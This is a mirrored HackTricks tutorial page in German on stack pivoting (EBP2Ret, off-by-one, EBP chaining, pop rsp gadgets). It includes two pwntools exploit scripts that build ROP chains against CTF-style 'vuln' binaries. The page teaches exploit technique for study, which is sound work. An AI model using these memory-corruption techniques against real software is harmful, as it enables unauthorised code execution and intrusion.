mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
202 lines
9.9 KiB
Markdown
202 lines
9.9 KiB
Markdown
# Stack Pivoting - EBP2Ret - EBP chaining
|
|
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
|
|
|
</details>
|
|
|
|
## Grundlegende Informationen
|
|
|
|
Diese Technik nutzt die Möglichkeit, den **Base-Pointer (EBP)** zu manipulieren, um die Ausführung mehrerer Funktionen durch sorgfältige Verwendung des EBP-Registers und der Befehlssequenz `leave; ret` zu verketten.
|
|
|
|
Zur Erinnerung bedeutet **`leave`** im Grunde genommen:
|
|
```
|
|
movl %ebp, %esp
|
|
popl %ebp
|
|
ret
|
|
```
|
|
Und da sich der **EBP im Stack** vor dem EIP befindet, ist es möglich, ihn zu kontrollieren, indem man den Stack kontrolliert.
|
|
|
|
### EBP2Ret
|
|
|
|
Diese Technik ist besonders nützlich, wenn Sie **den EBP-Register ändern können, aber keinen direkten Weg haben, das EIP-Register zu ändern**. Sie nutzt das Verhalten von Funktionen aus, wenn sie ihre Ausführung beenden.
|
|
|
|
Wenn es Ihnen während der Ausführung von `fvuln` gelingt, einen **gefälschten EBP** im Stack einzuspeisen, der auf einen Speicherbereich zeigt, in dem die Adresse Ihres Shellcodes liegt (plus 4 Bytes für die `pop`-Operation), können Sie indirekt das EIP kontrollieren. Wenn `fvuln` zurückkehrt, wird der ESP auf diese manipulierte Position gesetzt, und die nachfolgende `pop`-Operation verringert den ESP um 4, **wodurch er effektiv auf eine Adresse zeigt, die vom Angreifer dort gespeichert wurde.**\
|
|
Beachten Sie, wie Sie **2 Adressen kennen müssen**: Die, wohin der ESP gehen wird, und wohin Sie die Adresse schreiben müssen, auf die der ESP zeigt.
|
|
|
|
#### Exploit-Konstruktion
|
|
|
|
Zuerst müssen Sie eine **Adresse kennen, an der Sie beliebige Daten/Adressen schreiben können**. Der ESP wird hierhin zeigen und **den ersten `ret` ausführen**.
|
|
|
|
Dann müssen Sie die Adresse kennen, die von `ret` verwendet wird, um **beliebigen Code auszuführen**. Sie könnten verwenden:
|
|
|
|
* Eine gültige [**ONE\_GADGET**](https://github.com/david942j/one\_gadget)-Adresse.
|
|
* Die Adresse von **`system()`** gefolgt von **4 Junk-Bytes** und der Adresse von `"/bin/sh"` (x86-Bits).
|
|
* Die Adresse eines **`jump esp;`**-Gadgets ([**ret2esp**](ret2esp-ret2reg.md)) gefolgt vom **Shellcode** zur Ausführung.
|
|
* Einige [**ROP**](rop-return-oriented-programing.md)-Kette
|
|
|
|
Denken Sie daran, dass vor einer dieser Adressen im kontrollierten Speicherbereich **`4` Bytes** stehen müssen, aufgrund des **`pop`**-Teils der `leave`-Anweisung. Es wäre möglich, diese 4B zu missbrauchen, um einen **zweiten gefälschten EBP** zu setzen und die Ausführung weiter zu kontrollieren.
|
|
|
|
#### Off-By-One-Exploit
|
|
|
|
Es gibt eine spezifische Variante dieser Technik, die als "Off-By-One-Exploit" bekannt ist. Sie wird verwendet, wenn Sie **nur das am wenigsten signifikante Byte des EBP ändern können**. In einem solchen Fall muss der Speicherort, der die Adresse zum Springen mit dem **`ret`** speichert, die ersten drei Bytes mit dem EBP teilen, was eine ähnliche Manipulation unter stärker eingeschränkten Bedingungen ermöglicht.
|
|
|
|
### **EBP-Chaining**
|
|
|
|
Daher ist es möglich, indem man eine kontrollierte Adresse im `EBP`-Eintrag des Stacks und eine Adresse zu `leave; ret` im `EIP` platziert, den **`ESP` zur kontrollierten `EBP`-Adresse im Stack zu verschieben**.
|
|
|
|
Nun wird der **`ESP`** kontrolliert und zeigt auf eine gewünschte Adresse, und die nächste auszuführende Anweisung ist ein `RET`. Um dies auszunutzen, können Sie an dieser kontrollierten ESP-Stelle Folgendes platzieren:
|
|
|
|
* **`&(nächster gefälschter EBP)`** -> Lädt den neuen EBP aufgrund von `pop ebp` aus der `leave`-Anweisung
|
|
* **`system()`** -> Aufgerufen von `ret`
|
|
* **`&(leave;ret)`** -> Wird nach dem Ende von system aufgerufen, es verschiebt ESP zum gefälschten EBP und startet erneut
|
|
* **`&("/bin/sh")`**-> Parameter für `system`
|
|
|
|
Auf diese Weise ist es im Grunde möglich, mehrere gefälschte EBPs zu verketten, um den Programmfluss zu kontrollieren.
|
|
|
|
Ehrlich gesagt, dies ähnelt einem [ret2lib](ret2lib/), ist jedoch komplexer und ohne offensichtlichen Nutzen, könnte aber in einigen Randfällen interessant sein.
|
|
|
|
Darüber hinaus finden Sie hier eine [**Beispielherausforderung**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave), die diese Technik mit einem **Stack-Leak** verwendet, um eine Gewinnfunktion aufzurufen. Dies ist das endgültige Payload von der Seite:
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16)
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
LEAVE_RET = 0x40117c
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229
|
|
|
|
payload = flat(
|
|
0x0, # rbp (could be the address of anoter fake RBP)
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0,
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
|
|
|
payload += flat(
|
|
buffer, # Load leak address in RBP
|
|
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
## EBP ist nutzlos
|
|
|
|
Wie [**in diesem Beitrag erklärt**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), wenn ein Binärprogramm mit einigen Optimierungen kompiliert wird, wird **ESP nie von EBP kontrolliert**, daher wird jeder Exploit, der durch die Kontrolle von EBP funktioniert, im Grunde scheitern, da er keine echte Wirkung hat.\
|
|
Dies liegt daran, dass sich das **Prolog und Epilog ändern**, wenn das Binärprogramm optimiert ist.
|
|
|
|
* **Nicht optimiert:**
|
|
```bash
|
|
push %ebp # save ebp
|
|
mov %esp,%ebp # set new ebp
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
|
ret # return
|
|
```
|
|
* **Optimiert:**
|
|
```bash
|
|
push %ebx # save ebx
|
|
sub $0x100,%esp # increase stack size
|
|
.
|
|
.
|
|
.
|
|
add $0x10c,%esp # reduce stack size
|
|
pop %ebx # restore ebx
|
|
ret # return
|
|
```
|
|
## Andere Möglichkeiten, um RSP zu kontrollieren
|
|
|
|
### **`pop rsp`** Gadget
|
|
|
|
[**Auf dieser Seite**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) finden Sie ein Beispiel für die Verwendung dieser Technik. Für diese Herausforderung war es erforderlich, eine Funktion mit 2 spezifischen Argumenten aufzurufen, und es gab ein **`pop rsp` Gadget** sowie ein **Leak vom Stack**:
|
|
```python
|
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
|
# This version has added comments
|
|
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
p = process()
|
|
|
|
p.recvuntil('to: ')
|
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
|
POP_RDI = 0x40122b
|
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
|
|
|
# The payload starts
|
|
payload = flat(
|
|
0, # r13
|
|
0, # r14
|
|
0, # r15
|
|
POP_RDI,
|
|
0xdeadbeef,
|
|
POP_RSI_R15,
|
|
0xdeadc0de,
|
|
0x0, # r15
|
|
elf.sym['winner']
|
|
)
|
|
|
|
payload = payload.ljust(104, b'A') # pad to 104
|
|
|
|
# Start popping RSP, this moves the stack to the leaked address and
|
|
# continues the ROP chain in the prepared payload
|
|
payload += flat(
|
|
POP_CHAIN,
|
|
buffer # rsp
|
|
)
|
|
|
|
pause()
|
|
p.sendline(payload)
|
|
print(p.recvline())
|
|
```
|
|
### xchg \<rag>, rsp Gadget
|
|
```
|
|
pop <reg> <=== return pointer
|
|
<reg value>
|
|
xchg <rag>, rsp
|
|
```
|
|
## Referenzen
|
|
|
|
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
|
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
|
|
|
</details>
|